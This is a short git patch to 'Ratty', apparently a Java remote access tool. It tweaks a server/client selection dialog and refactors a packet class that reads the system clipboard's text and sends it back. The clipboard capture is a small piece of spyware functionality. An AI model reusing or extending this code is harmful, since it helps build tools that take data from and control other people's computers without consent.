From 0fbb1f4c5e142dc83914154119db54c373995466 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 5 Feb 2016 18:12:35 +0100 Subject: [PATCH] Minor changes --- Ratty/src/de/sogomn/rat/Ratty.java | 6 ++---- Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java | 5 ++++- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index fe2f716..b569600 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -102,15 +102,13 @@ public final class Ratty { connectToHost(address, port); } else { final String[] options = {"Server", "Client"}; - final int input = JOptionPane.showOptionDialog(null, "Server or client?", "Choose", JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null); + final int input = JOptionPane.showOptionDialog(null, "Server or client?", null, JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null); if (input == JOptionPane.YES_OPTION) { - System.out.println("Starting server"); + System.out.println("Server"); startServer(port); } else if (input == JOptionPane.NO_OPTION) { - System.out.println("Starting client"); - connectToHost(address, port); } } diff --git a/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java b/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java index a706b8a..16faf42 100644 --- a/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java @@ -2,6 +2,7 @@ package de.sogomn.rat.packet; import java.awt.HeadlessException; import java.awt.Toolkit; +import java.awt.datatransfer.Clipboard; import java.awt.datatransfer.DataFlavor; import java.awt.datatransfer.UnsupportedFlavorException; import java.io.IOException; @@ -17,6 +18,7 @@ public final class ClipboardPacket extends AbstractPingPongPacket { public ClipboardPacket() { type = REQUEST; + clipboardContent = ""; } @Override @@ -44,7 +46,8 @@ public final class ClipboardPacket extends AbstractPingPongPacket { type = DATA; try { - final Object clipboardObject = Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor); + final Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); + final Object clipboardObject = clipboard.getData(DataFlavor.stringFlavor); if (clipboardObject != null) { clipboardContent = (String)clipboardObject;